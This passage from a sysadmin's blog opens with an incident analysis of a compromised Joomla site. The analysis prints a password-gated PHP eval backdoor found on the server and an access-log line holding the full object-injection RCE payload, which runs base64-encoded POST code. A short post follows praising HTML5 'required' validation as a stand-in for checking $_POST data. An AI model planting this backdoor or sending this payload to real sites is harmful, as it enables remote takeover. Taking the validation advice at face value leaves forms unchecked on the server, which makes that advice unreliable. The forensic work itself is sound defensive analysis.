-rw-r--r-- 1 www-data www-data 90322 Dec 20 17:18 ./example.com/plugins/finder/categories/old_95.php

These files all contained some garbled/encoded PHP coding, typically uploaded and used by hackers. Another very interesting find was this one:

-rw-r--r-- 1 www-data www-data 237 Dec 15 04:25 ./example.com/libraries/joomla/exporter.php

tail ./example.com/libraries/joomla/exporter.php
<?php if (md5($_POST['password']) == 'ee536041e2d1cab06fb46129549f13d2') { preg_replace("\043\056\052\043\145", "\145\166\141\154\050\142\141\163\145\066\064\137\144\145\143\157\144\145\050'" . $_POST['code'] . "'\051\051\073", ''); } ?>

Interestingly this file was uploaded a couple of days before all the others so I decided to focus on it. The access_log revealed an interesting GET followed by POST:

88.198.56.140 - - [15/Dec/2015:04:24:25 +0100] "GET / HTTP/1.1" 503 4430 "http://example.com/" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:60:\"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\x9d\x8c\x86"
46.165.230.5 - - [15/Dec/2015:04:25:00 +0100] "POST / HTTP/1.1" 503 4462 "http://example.com/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36"

Although the return code was 503, the hack still seems to have worked. And even more interesting is the fact, that the POST happened on Joomla itself, not a somewhere already uploaded file. A quick research revealed, that there is a vulnerability in all Joomla versions to remotely execute code (Remote Code Execution, RCE). An exploit for this vulnerability was published on December 15th 2015 (see https://www.exploit-db.com/exploits/38977/), the same day as the hack happened on this Joomla CMS. The vulnerability was fixed in Joomla 3.4.6, which was released a day prior to the hack - yet the CMS owner didn't react as fast and one day later it was already too late. 

 

Automatic php form validation with HTML5 (required)
Friday - Dec 18th 2015 - by - (0 comments)

I just realized that I love HTML5. I'm programming a PHP form and I remember that 10 years ago I had to verify and sanitize all form input types if they were set/filled in by checking the $_POST data.

Now with HTML5 the job got a lot easier (and faster!). Instead of manually analyzing the submitted data after the user hit post/submit, the browser can now do the job on his own. The magic is done by the "required" parameter in a form element.

For instance:

<form.....>
[...]
  <td>Environment</td>
  <td>
    <input type="radio" name="iEnvironment" value="prod" required>PROD
    <input type="radio" name="iEnvironment" value="qual" required>QUAL
    <input type="radio" name="iEnvironment" value="stage" required>STAGE
    <input type="radio" name="iEnvironment" value="test" required>TEST
  </td>
  </tr>
[...]
</form>

When the user submits the form, the browser verifies if the required fields are selected. In this case the radio button with name "iEnvironment" needs to be set. So at least one of the four options must be selected. If the user doesn't, here's what the browser says:

HTML5 form validation with required parameter

It's been a long time since I last programmed a web form in PHP and this new feature just hit me now. Thanks HTML5! 

 


Go to Homepage home
Linux Howtos how to's
Nagios Plugins nagios plugins
Links links

Valid HTML 4.01 Transitional
Valid CSS!
[Valid RSS]

8015 Days
until Death of Computers
Why?